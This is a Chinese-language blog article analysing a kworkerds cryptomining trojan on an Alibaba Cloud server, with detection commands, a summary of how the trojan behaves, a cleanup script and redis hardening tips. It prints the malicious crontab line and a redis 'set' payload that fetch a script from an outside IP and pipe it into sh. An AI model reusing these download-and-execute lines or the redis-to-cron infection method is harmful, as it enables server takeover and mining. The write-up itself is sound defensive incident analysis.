來自:麻辣軟硬體(微訊號:VOSDeveloper)
很多朋友都在使用阿裡雲,但遇到過阿裡雲被植入木馬的情況麼?小編今天就遇到了。阿裡雲有自己的安全機制,一般情況下不會有什麼問題,那木馬又是被怎麼植入的呢?今天為您解析。
起因
今天,同事說我負責的模組在阿裡雲上不工作了,我趕忙遠端登入檢視。
伺服器的癥狀
1、敲命令的時候,終端的字元回傳很快,但是命令的響應時間較長;
2、伺服器記憶體32GB,剩餘200MB;
3、CPU跑到了99%;
4、我負責的模組之前一直工作正常,穩定性好,沒修改過配置,但現在不能工作;
5、檢視我負責的模組配置正常、執行正常,但部分服務出錯;
6、top命令未發現有高耗CPU的行程,但是有大量的kworkerds行程。
定位分析
病癥1、3、6說明是阿裡雲伺服器已經產生了異常。
根據病癥4、5一步步梳理流程,核對日誌,定位問題,最終發現,redis可以正常提供服務,但程式無法將資料掃清到redis,導致分別負責讀寫的兩個模組資料長時間不能同步,重啟redis後服務正常。但問題需要進一步分析。
查詢木馬
伺服器是與別人共用的,其他的服務,我們不知道是否有用。但伺服器卡頓,實在影響除錯效率,搜尋了一下kworkerds,才知道是個挖礦的木馬程式。
檢視木馬行程數
1[root@xxx ~]# ps -ef | grep -v grep |grep kworkerds | wc -l
2385
kill掉所有木馬行程
1[root@xxx ~] # ps auxf | grep -v grep | grep kworkerds | awk '{print $2}' | xargs kill -9
檢視開機啟動項和任務
1[root@XXX ~]# systemctl list-unit-files
2(沒發現問題,就不貼進來了)
3[root@XXX ~]# cat /etc/rc.local
4(沒發現問題,就不貼進來了)
5[root@XXX ~]# cat /etc/crontab
6...
701 * * * * root run-parts /etc/cron.hourly
802 4 * * * root run-parts /etc/cron.daily
90 1 * * * root /usr/local/bin/dns
10[root@XXX ~]# crontab -l
11*/23 * * * * (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)|sh
“/etc/crontab”裡的內容看起來好像是正常,但是“crontab -l”中顯示的內容有些來路不明。
於是下載程式碼檢視
1[root@xxx ~]# (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)
2(木馬的程式碼我就不貼進來了)
限於篇幅,木馬的程式碼就不展示在此了,大家可以自行下載檢視,記住,下載的時候要把”|sh”去掉,當心玩火自焚。
分析木馬
木馬指令碼寫得還是不錯的,風格整齊,邏輯嚴謹。出色地完成了以下功能:
1、刪除阿裡云云盾客戶端和阿裡雲監控程式;
2、停止、刪除主機已經存在的其他挖礦程式;
3、下載挖礦程式和配置檔案並執行;
4、約束木馬程式,防止觸發伺服器效能監測工具告警;
5、設定任務計劃,保持更新,持續感染主機;
6、透過本機感染其他主機;
7、清空操作日誌,篡改檔案修改時間,隱藏自己的訪問蹤跡。
木馬中同時用了shell和python兩種指令碼,指令碼逐層巢狀,對於一些敏感的程式碼,使用了base64進行加密,針對不同的系統平臺有不同的處理,同時鎖定了自己修改的檔案,防止被別的程式隨意修改,提供遠端服務的IP地址來自非洲東部的塞席爾共和國。
木馬是如何傳播的
傳播方式
木馬傳播方式有三種,如下:
1、activeMQ
2、redis
3、ssh的免密碼登入
傳播思路
木馬感染的步驟如下:
1、透過掃描”xxx.xxx.0.0/16″網段內的所有IP的6379和8186兩個埠;
2、如果可以連線,那麼以key-value的形式寫入資料;
1'set SwE3SC "\t\n*/10 * * * * root (curl -fsSL http://185.10.68.91/raw/68VYMp5T||wget -q -O- http://185.10.68.91/raw/68VYMp5T)|sh\n\t"
'
3、將該條資料以檔案的形式儲存到定時任務的檔案目錄,如/var/spool/cron/root等;
4、下個定時週期到來時,伺服器自動下載遠端指令碼並執行;
5、遍歷該主機可以免密碼登入的其他主機,遠端連線並執行程式碼。
遠端指令碼執行時,會重新修改定時任務等檔案,保證可以持續感染主機,同時也隱藏了第一次感染的痕跡。之後每個定時週期到來時,都會重覆4、5兩個步驟。
排查漏洞
伺服器中沒有activeMQ,沒有.ssh檔案夾。小編也根據程式碼流程,感染了一下自己的redis,但是並沒有達到預期的結果。
本人用的redis檔案儲存的時候是二進位制的,不是字串,根本無法被定時任務執行,但是修改感染指令碼,可以完成駭客設定的既定思路。
結合阿裡雲之前修改過密碼的情況,本次感染可能有兩種來源:
1、以前發現了被感染,但木馬沒有被清理乾凈;
2、木馬作者會定期修改自己的程式碼來感染不同版本的redis,甚至是去利用其它軟體的漏洞。
另外一個程式碼變動的證據就是netstat命令的二進位制檔案遭到篡改,這顯然是為了應對運維人員排查異常網路連線而設計的,但本次檢查木馬程式碼時,並沒有發現與netstat命令有關的操作。
清理木馬
清理過程分兩步:刪除木馬檔案和修補當前漏洞。
刪除木馬檔案
根據木馬的程式碼,寫了清理指令碼,如下:
1#!/bin/bash
2ps auxf | grep -v grep | grep kworkerds | awk '{print $2}' | xargs kill -9
3
4chattr -i /usr/local/bin/dns /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/ld.so.preload
5echo "" > /usr/local/bin/dns
6echo "" > /etc/cron.d/root
7echo "" > /etc/cron.d/apache
8echo "" > /var/spool/cron/root
9echo "" > /var/spool/cron/crontabs/root
10rm -rf /etc/cron.hourly/oanacroner
11rm -rf /etc/cron.daily/oanacroner
12rm -rf /etc/cron.monthly/oanacroner
13
14sed -i '/cron.hourly/d' /etc/crontab
15sed -i '/cron.daily/d' /etc/crontab
16sed -i '/usr/local/bin/dns/d' /etc/crontab
17
18#sed -i '$d' /etc/ld.so.preload
19rm -rf /usr/local/lib/libntpd.so
20
21#/tmp/.a可以不刪,木馬是透過此檔案判斷是否要解除安裝阿裡雲盾
22#rm -rf /tmp/.a
23rm -rf /bin/kworkerds
24rm -rf /tmp/kworkerds
25rm -rf /usr/sbin/kworkerds
26rm -rf /etc/init.d/kworker
27chkconfig --del kworker
指令碼僅供大家參考,在執行之前還是要對照一下具體的環境。
除此之外,還需要排查一下系統中是否有異常使用者,異常的服務和異常的監聽埠。畢竟伺服器被入侵過,絕不能等閑視之。
修補漏洞
以redis為例,修補漏洞有很多種方法:
1、限制埠,使其對外不可連線;
2、不要使用root執行reids;
3、及時更新軟體,修補漏洞;
4、修改預設埠;
6。對重要命令重新命名;
。。。
關於這個問題,阿裡雲也有詳細的安全加固方案:
https://help.aliyun.com/knowledge_detail/37447.html
編者的話
駭客一詞聽起來感覺酷酷的,因為世界上確有一批崇尚用技術實現“開放、自由、真實、平等、美好生活”的人,他們離經叛道,閃閃發光。然而,通常情況下非法獲取利益的駭客僅僅是一個小偷而已,喜歡的是不勞而獲,而不是技術本身,技術水平也只能是一般。
希望大家從技術交流,防範風險的角度看待文中提供的木馬資料,不要走上違法犯罪的道路。從另一個角度講,資訊保安無小事,文中的木馬僅僅是挖礦,事實上,該漏洞足以讓駭客在你的伺服器上做任何事,大家萬萬不可掉以輕心。
朋友會在“發現-看一看”看到你“在看”的內容